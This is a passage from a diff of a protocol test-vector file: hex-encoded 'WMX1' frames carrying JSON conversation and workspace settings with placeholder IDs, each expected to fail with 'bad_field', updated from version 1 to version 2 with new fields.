223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a6e756c6c2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-plain-profile-with-binding", "direction": "down", - "hex": "574d58310101000001000000320600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000006f0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-unknown-profile", "direction": "down", - "hex": "574d583101010000010000002a0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a226672657368222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000670600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a226672657368222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-binding-not-uuid4", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d316536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d316536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-generation-zero", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a307d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a307d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-tool-classes-unordered", "direction": "down", - "hex": "574d583101010000010000002f0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b227772697465222c2272656164225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000006c0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d